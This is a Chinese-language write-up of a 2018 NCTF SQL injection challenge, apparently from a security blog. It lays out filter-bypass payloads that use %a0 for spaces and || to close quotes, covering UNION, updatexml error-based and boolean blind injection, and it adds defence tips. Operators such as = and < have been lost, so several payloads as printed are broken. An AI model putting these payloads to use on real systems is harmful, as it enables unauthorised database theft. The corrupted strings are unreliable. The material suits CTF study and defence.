NCTF 2018 SQL注入实战:绕过空格过滤与闭合的3种有效Payload

📅 2026/7/12 11:18:17
NCTF 2018 SQL注入实战:绕过空格过滤与闭合的3种有效Payload
NCTF 2018 SQL注入实战绕过空格过滤与闭合的3种有效Payload在CTF竞赛中SQL注入始终是Web安全赛道的核心考点。2018年NCTF的晨跑打卡题目以其独特的WAF过滤规则为参赛者设置了多重障碍。本文将深入解析三种突破空格过滤与单引号闭合限制的Payload构造技术并附实战决策树与对比分析表。1. 环境特征与过滤规则分析靶场环境回显了原始SQL语句暴露出关键漏洞特征。通过Burp Suite的fuzz测试可快速定位以下过滤规则禁用字符空格、#、--、*、-闭合限制无法通过常规注释符闭合末尾单引号特殊字符替代测试结果%a0 → 可用唯一有效的空格替代符 %0b → 被过滤 %00 → 被过滤 || → 可用逻辑或运算符2. 闭合绕过的核心逻辑当常规注释符被禁用时需采用逻辑运算平衡引号。其本质是通过构造永真条件使后端SQL解析器忽略原始闭合原始语句SELECT * FROM table WHERE id[INPUT] 攻击载荷1%a0AND%a011 等效语句SELECT * FROM table WHERE id1 AND 113. 三种实战Payload详解3.1 联合查询注入适用场景存在显错位且WAF未过滤UNION关键字# 判断回显位4列 payload 1%a0UNION%a0SELECT%a01,2,3,4%a0AND%a011 # 爆破数据库需URL编码 payload 1%a0AND%a012%a0UNION%a0SELECT%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3,4%a0AND%a011技术要点使用AND 12使前半查询失效%a0作为空格替代保证语法正确信息获取路径库名→表名→列名→数据3.2 报错注入适用场景无显错位但开启错误回显payload 1%a0AND%a0updatexml(1,substring(concat(0x7e,(SELECT%a0flag%a0FROM%a0pcnumber),0x7e),1,30),3)%a0||%a011技术对比特性联合查询报错注入回显要求需要显错位需开启错误回显数据获取方式直接显示通过错误信息提取适用过滤场景允许UNION过滤UNION但未过滤XPATH数据量限制可获取完整数据受substring长度限制3.3 布尔盲注变体适用场景无任何回显时的替代方案# 判断数据库名长度 payload 1%a0AND%a0LENGTH(DATABASE())4%a0||%a011 # 逐字符爆破以ASCII码比对 payload 1%a0AND%a0SUBSTR(DATABASE(),1,1)c%a0||%a0114. 关键技术突破点4.1 空格替代方案对比替代符URL编码成功率备注%a0%a0100%不可见字符/**/%2f%2a%2a%2f0%本题被过滤%2b0%被解析为空格但被WAF识别4.2 闭合方案决策树开始 │ ├─ 能否使用#/--注释? → 是 → 常规闭合 │ ↓ │ 否 │ ├─ 能否用%a0替代空格? → 是 → 逻辑闭合方案 │ ↓ │ 否 │ └─ 是否允许||运算符? → 是 → 逻辑或闭合 ↓ 否 → 考虑时间盲注5. 特殊现象解析回显位差异问题联合查询回显位4报错注入回显位3这种现象源于数据库对错误处理的机制差异。当使用updatexml()时数据库会优先在错误信息中返回第三个参数位置的内容而联合查询则严格遵循SELECT字段顺序。6. 防御建议针对此类过滤的防护策略预编译语句// Java示例 String sql SELECT * FROM users WHERE id?; PreparedStatement stmt conn.prepareStatement(sql); stmt.setString(1, input);多重过滤机制黑名单过滤%a0、||等特殊字符白名单仅允许数字和字母错误信息抑制// PHP示例 ini_set(display_errors, 0);实际渗透测试中建议先通过1%a0AND%a012测试过滤规则有效性再选择合适的注入方案。在最近的NSSCTF比赛中类似过滤规则仍频繁出现掌握这些绕过技术可显著提升解题效率。